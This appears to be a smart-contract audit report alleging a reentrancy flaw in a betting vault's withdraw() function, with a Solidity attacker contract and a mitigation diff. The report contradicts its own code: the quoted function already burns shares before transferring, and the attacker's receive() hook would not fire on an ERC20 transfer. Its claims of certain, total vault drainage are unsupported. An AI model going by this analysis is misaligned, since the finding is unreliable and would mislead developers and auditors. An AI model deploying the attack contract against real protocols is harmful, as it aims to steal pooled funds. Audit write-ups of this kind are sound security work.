Reentrancy Attack in withdraw()
Description
-
The normal behavior is that when a winner calls withdraw(), they should receive their proportional share of the vault assets based on their shares, and their shares should be burned to prevent double withdrawal.
-
The issue is that the contract performs an external call (safeTransfer) before updating the state (_burn), violating the Checks-Effects-Interactions pattern and allowing attackers to re-enter the withdraw() function multiple times before their shares are burned.
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
Risk
Likelihood:
Any attacker who bets on the winning team can deploy a malicious contract with a receive() function and execute this attack with 100% reliability
The exploit is well-documented in security resources and requires minimal technical sophistication - just a simple contract with reentrancy logic
No special timing or conditions needed - works every time the attacker's team wins
Attack can be executed immediately after winner is set, before legitimate users withdraw
Impact:
Complete drainage of the vault - attacker withdraws 100% of pooled funds
All legitimate winners lose their entire winnings (0% recovery)
Protocol becomes insolvent instantly with no recovery mechanism
Permanent reputational damage and legal liability for lost funds
Proof of Concept
pragma solidity ^0.8.24;
import "./BriVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReentrancyAttacker {
BriVault public vault;
IERC20 public asset;
uint256 public attackCount;
uint256 public maxReentrancy = 5;
constructor(address _vault) {
vault = BriVault(_vault);
asset = IERC20(vault.asset());
}
function prepareAttack(uint256 depositAmount, uint256 teamId) external {
asset.transferFrom(msg.sender, address(this), depositAmount);
asset.approve(address(vault), depositAmount);
vault.deposit(depositAmount, address(this));
vault.joinEvent(teamId);
}
function attack() external {
attackCount = 0;
vault.withdraw();
}
receive() external payable {
if (attackCount < maxReentrancy && vault.balanceOf(address(this)) > 0) {
attackCount++;
vault.withdraw();
}
}
}
Recommended Mitigation
+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract BriVault is ERC4626, Ownable {
+ contract BriVault is ERC4626, Ownable, ReentrancyGuard {
- function withdraw() external winnerSet {
+ function withdraw() external winnerSet nonReentrant {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
+ if (shares == 0) revert noDeposit();
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
+ // EFFECTS: Update state BEFORE interactions
+ _burn(msg.sender, shares);
- _burn(msg.sender, shares);
-
- IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
+ // INTERACTIONS: External calls last
+ IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
